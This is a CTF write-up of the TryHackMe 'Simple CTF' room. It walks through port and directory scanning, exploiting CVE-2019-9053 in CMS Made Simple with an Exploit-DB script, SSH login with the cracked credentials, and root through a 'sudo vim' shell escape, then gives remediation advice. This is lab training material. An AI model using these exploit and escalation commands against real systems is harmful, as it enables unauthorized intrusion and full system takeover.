← Portfolio ← All Writeups CTF Writeup
TryHackMe

Simple CTF

Web SQLi Privilege Escalation
TargetCMS Made Simple 2.2.8 web app
CVECVE-2019-9053 (time-based blind SQLi)
Escalationvim via sudo NOPASSWD (GTFOBins)
SeverityHIGH (CVSSv3.0 8.1)
User FlagTHM{flag for question #1}
Root FlagTHM{flag for question #2}

1. Enumeration — Nmap

A full port scan reveals three open services. Note that SSH is on the non-standard port 2222 — a detail that matters later.

$ nmap -sC -sV -p- TARGET 21/tcp open ftp vsftpd 80/tcp open http Apache httpd 2222/tcp open ssh OpenSSH
PortServiceRelevance
21FTPAnonymous access / file leads
80HTTPWeb app — primary attack surface
2222SSHNon-standard port for later login

2. Web Discovery — Gobuster

Directory brute-forcing the web root uncovers a hidden application path.

$ gobuster dir -u http://TARGET/ -w /usr/share/wordlists/dirb/common.txt /simple (Status: 301)

Browsing to /simple/ reveals the application and, critically, its version in the footer: CMS Made Simple version 2.2.8. Version disclosure is the pivot for CVE research.

3. Exploitation — CVE-2019-9053

CMS Made Simple versions below 2.2.10 are vulnerable to CVE-2019-9053, a time-based blind SQL injection in the News module. Exploit-DB script 46635.py automates extraction of the username, password hash, and salt, then cracks the hash against a wordlist.

$ python 46635.py -u http://TARGET/simple --crack -w rockyou.txt [+] Salt for password found: redacted [+] Username found: redacted [+] Email found: redacted [+] Password found: redacted [+] Password cracked: redacted

Credentials recovered: redacted / redacted.

4. Foothold — SSH on Port 2222

The recovered credentials are reused for SSH — remembering the non-standard port from the Nmap scan.

$ ssh redacted@TARGET -p 2222 redacted@TARGET's password: redacted $ cat user.txt THM{flag for question #1}

5. Privilege Escalation — vim sudo Escape

Checking sudo rights shows redacted can run vim as root with no password. Per GTFOBins, vim can spawn an interactive shell — and when launched under sudo, that shell runs as root.

$ sudo -l User redacted may run the following commands: (root) NOPASSWD: /usr/bin/vim # GTFOBins vim sudo escape $ sudo vim -c ':!/bin/sh' # now root # id uid=0(root) gid=0(root) groups=0(root) # cat /root/root.txt THM{flag for question #2}

Key Takeaways

Attacker Perspective

CVE-2019-9053 is a time-based blind SQLi — no output returned, but boolean logic reveals the database character by character. Once credentials are extracted, the sudo misconfiguration is a textbook GTFOBins privilege escalation.

Defender / Remediation

Patch promptly — CMS Made Simple 2.2.10 fixed this. Audit sudo permissions regularly. vim and other editors should never have NOPASSWD sudo access. Run web applications as a non-root user.